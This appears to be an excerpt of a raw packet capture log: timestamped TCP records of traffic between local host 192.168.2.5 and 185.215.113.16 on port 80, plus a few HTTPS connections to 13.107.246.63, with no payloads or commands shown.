Nov 23, 2024 15:37:30.368604898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368608952 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368628979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368640900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368649960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368662119 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368671894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368673086 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368673086 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368683100 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368697882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368711948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368717909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368721008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368731976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368741035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368746042 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368752003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368768930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368772984 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368786097 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368788958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368796110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368805885 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368810892 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368820906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368839025 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368855953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368866920 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368875027 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368875980 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368886948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368896961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368906975 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368912935 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368916988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368927956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368938923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368940115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368940115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368949890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368961096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368971109 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368979931 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.368982077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.368993998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369004011 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369004965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369014978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369024038 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369024992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369035006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369045019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369049072 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369054079 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369067907 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369071960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369085073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369088888 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369095087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369103909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369107008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369116068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369126081 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369136095 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369149923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369159937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369159937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369160891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369173050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369184017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369184017 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369195938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369210958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369210958 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369214058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369227886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369239092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369240999 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369250059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369261026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369266033 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369280100 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369293928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369302034 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369306087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369317055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369326115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369329929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369340897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369373083 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369379997 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369380951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369384050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369405031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369415998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369421005 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369426966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369438887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369446039 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369446039 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369450092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369461060 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369469881 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369472980 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369483948 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369496107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369497061 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369508028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369515896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369519949 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369530916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369538069 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369549990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369560957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369566917 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369571924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369586945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369599104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369606018 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369610071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369621992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369623899 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369632959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369646072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369657040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369666100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369667053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369666100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369678974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369689941 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369690895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369704008 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369708061 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369720936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369731903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369734049 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369745016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369755983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369760036 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369766951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369780064 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369790077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369797945 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369801044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369812965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369822979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369833946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369833946 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369833946 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369844913 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369857073 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369858027 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369878054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369888067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369899035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369901896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369901896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369910955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369925976 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369934082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369945049 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369954109 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369963884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369976044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369986057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.369991064 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.369997978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370008945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370018959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370019913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370029926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370037079 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370040894 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370047092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370058060 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370069027 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370069027 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370079994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370090961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370101929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370107889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370112896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370124102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370134115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370134115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370146990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370153904 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370158911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370171070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370181084 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370181084 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370208025 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370529890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370542049 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370553970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370564938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370574951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370584965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370596886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370603085 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370608091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370619059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370624065 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370662928 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370686054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370697021 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370708942 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370718956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370729923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370733023 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370742083 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370753050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370758057 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370764017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370775938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370778084 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370785952 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370796919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370798111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370810032 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370825052 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370829105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370843887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370845079 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370855093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370867014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370878935 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370888948 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370891094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370903015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370913029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370923042 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370933056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370943069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370951891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370954037 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.370969057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370980978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.370987892 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.370992899 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371005058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371011019 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371011019 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371018887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371030092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371032000 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371040106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371051073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371061087 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371072054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371074915 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371081114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371093035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371099949 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371103048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371114969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371124029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371134996 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371148109 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371148109 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371172905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371172905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371172905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371205091 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371464014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371474028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371484041 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371500015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371516943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371526957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371536016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371553898 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371584892 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371650934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371669054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371678114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371689081 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371699095 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371710062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371711016 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371718884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371728897 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371752024 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371758938 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371758938 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371763945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371798992 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.371813059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.371861935 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.372025967 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.372087002 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.372509956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.372514963 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.372534037 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.374795914 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.374907017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.374953985 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.378204107 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.378655910 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.378695011 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.379108906 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.379117012 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.387435913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.432318926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.478543043 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.478610039 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.479429007 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.479794025 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.479794025 CET	49730	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.479830980 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.479859114 CET	443	49730	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.480932951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.483300924 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.483391047 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.483689070 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.483891010 CET	49735	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:30.483921051 CET	443	49735	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:30.562875032 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.565279961 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.655133963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.655276060 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.655287981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.655389071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.655469894 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.655998945 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.656034946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.656089067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.656816959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.656924963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.657099009 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.657308102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.657430887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.657596111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.658087969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.658220053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.658714056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.658788919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.658855915 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.659420967 CET	80	49724	185.215.113.16	192.168.2.5
